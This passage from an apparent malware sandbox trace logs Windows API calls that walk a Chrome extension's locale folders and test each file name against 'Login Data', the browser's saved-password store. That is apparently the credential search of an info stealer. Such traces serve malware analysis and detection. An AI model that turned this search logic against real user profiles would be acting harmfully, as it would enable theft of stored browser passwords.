uBytes=0x108) returned 0x2dc2e8 [0056.587] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0056.587] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*" [0056.588] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.588] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.588] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.588] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.588] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.588] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.588] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.588] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.588] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.588] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.588] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.588] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.588] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0056.588] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.588] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.588] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.588] lstrlenA (lpString="\\") returned 1 [0056.588] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.588] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.588] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.588] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.588] lstrlenA (lpString="no") returned 2 [0056.588] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.588] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.588] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0056.588] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.588] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned 131 [0056.588] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned 131 [0056.588] lstrlenA (lpString="\\*.*") returned 4 [0056.588] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.588] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0056.588] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*" [0056.588] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.588] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.588] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.588] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.588] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.588] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.588] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.588] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.589] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.589] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.589] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.589] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.589] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.589] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.589] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.589] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.589] lstrlenA (lpString="\\") returned 1 [0056.589] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.589] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.589] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.589] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.589] lstrlenA (lpString="pl") returned 2 [0056.589] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.589] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.589] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0056.589] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.589] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned 131 [0056.589] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned 131 [0056.589] lstrlenA (lpString="\\*.*") returned 4 [0056.589] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.589] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0056.589] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*" [0056.589] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.589] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.589] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.589] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.589] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.589] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.589] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.589] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.589] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.589] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.589] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.589] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.589] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.589] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.589] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.590] lstrlenA (lpString="\\") returned 1 [0056.590] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.590] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.590] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.590] lstrlenA (lpString="pt_BR") returned 5 [0056.590] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.590] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.590] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0056.590] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned 134 [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned 134 [0056.590] lstrlenA (lpString="\\*.*") returned 4 [0056.590] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc508 [0056.590] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0056.590] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*" [0056.590] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.590] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.590] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.590] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.590] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.590] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.590] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.590] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.590] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.590] LocalFree (hMem=0x2dc508) returned 0x0 [0056.590] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.590] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.590] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.590] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.590] lstrlenA (lpString="\\") returned 1 [0056.590] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.590] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.590] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.590] lstrlenA (lpString="pt_PT") returned 5 [0056.590] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.590] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.590] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0056.590] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned 134 [0056.590] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned 134 [0056.590] lstrlenA (lpString="\\*.*") returned 4 [0056.590] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc508 [0056.590] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0056.591] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 